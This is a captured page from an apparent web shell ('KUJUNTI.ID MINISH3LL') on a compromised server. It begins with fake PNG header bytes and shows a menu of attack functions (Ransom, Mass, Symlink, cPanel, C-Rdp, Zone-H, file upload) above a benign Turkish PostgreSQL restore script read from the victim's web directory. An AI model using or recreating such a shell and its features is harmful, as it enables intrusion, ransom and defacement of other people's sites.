\x89PNG\r\n\x1a\n\x00\x00\x00\x0DIHDR\x00\x00\x00\x01\x00 \x00\x00\x01\x08\x06\x00\x00\x00\x1F\x15\xC4\x89\x00\x00\x00 \x0AIDATx\x9Ccb\x00\x00\x00\x06\x00\x03\x1A\x05\x9D\x00\x00 \x00\x00IEND\xAE\x42\x60\x82 www.csarite.com
KUJUNTI.ID MINISH3LL
Path : /var/www/html/yedekledb24/DatabaseBackupMasterv2/
(S)h3ll Cr3at0r :
F!le Upl0ad :

B-Con CMD Config cPanel C-Rdp D-Log Info Jump Mass Ransom Symlink vHost Zone-H

Current File : /var/www/html/yedekledb24/DatabaseBackupMasterv2/import_database.py


#!/usr/bin/env python3
"""
Database Backup Sistemi için veritabanı içe aktarım scripti.
Bu script, SQL formatındaki bir yedeği PostgreSQL veritabanına geri yükler.
"""

import os
import sys
import subprocess
from dotenv import load_dotenv

# .env dosyasından ortam değişkenlerini yükleyin
load_dotenv()

# Veritabanı bilgilerini alın
DB_HOST = os.environ.get('PGHOST', 'localhost')
DB_PORT = os.environ.get('PGPORT', '5432')
DB_USER = os.environ.get('PGUSER', 'postgres')
DB_PASSWORD = os.environ.get('PGPASSWORD', 'postgres')
DB_NAME = os.environ.get('PGDATABASE', 'postgres')

def main():
    """Ana fonksiyon - SQL dosyasını veritabanına içe aktarır (restore eder)"""
    
    # Komut satırı argümanlarını kontrol edin
    if len(sys.argv) < 2:
        print("Kullanım: python import_database.py <sql_dosyası>")
        print("Örnek: python import_database.py database_backups/backup_postgres_20250322_123045.sql")
        sys.exit(1)
    
    # SQL dosya yolunu alın
    sql_file = sys.argv[1]
    
    # Dosyanın varlığını kontrol edin
    if not os.path.exists(sql_file):
        print(f"Hata: Dosya bulunamadı: {sql_file}")
        sys.exit(1)
    
    # psql için ortam değişkenlerini ayarlayın
    env = os.environ.copy()
    env['PGPASSWORD'] = DB_PASSWORD
    
    # psql komutunu oluşturun
    psql_cmd = [
        'psql',
        f'--host={DB_HOST}',
        f'--port={DB_PORT}',
        f'--username={DB_USER}',
        '--set', 'ON_ERROR_STOP=on',
        '--echo-errors',
        f'--dbname={DB_NAME}',
        '--file', sql_file
    ]
    
    try:
        # Kullanıcıya bilgi verin
        print(f"Veritabanına içe aktarılıyor: {sql_file} -> {DB_NAME}")
        
        # Komutu çalıştırın
        process = subprocess.run(psql_cmd, env=env, check=True,
                                stdout=subprocess.PIPE, stderr=subprocess.PIPE, 
                                text=True)
        
        # Başarılı oldu mu kontrol edin
        print(f"Veritabanı başarıyla içe aktarıldı: {DB_NAME}")
        if process.stdout:
            # Çıktıyı sınırlayın (çok uzun olabilir)
            output_lines = process.stdout.split('\n')
            if len(output_lines) > 20:
                print(f"Çıktı (ilk 20 satır):")
                for line in output_lines[:20]:
                    print(line)
                print(f"... ve {len(output_lines) - 20} satır daha")
            else:
                print(f"Çıktı:")
                print(process.stdout)
        
    except subprocess.CalledProcessError as e:
        print(f"Hata: psql işlemi başarısız oldu. Kod: {e.returncode}")
        if e.stderr:
            print(f"Hata detayı: {e.stderr}")
    except Exception as e:
        print(f"Beklenmeyen hata: {str(e)}")

if __name__ == "__main__":
    main()

© KUJUNTI.ID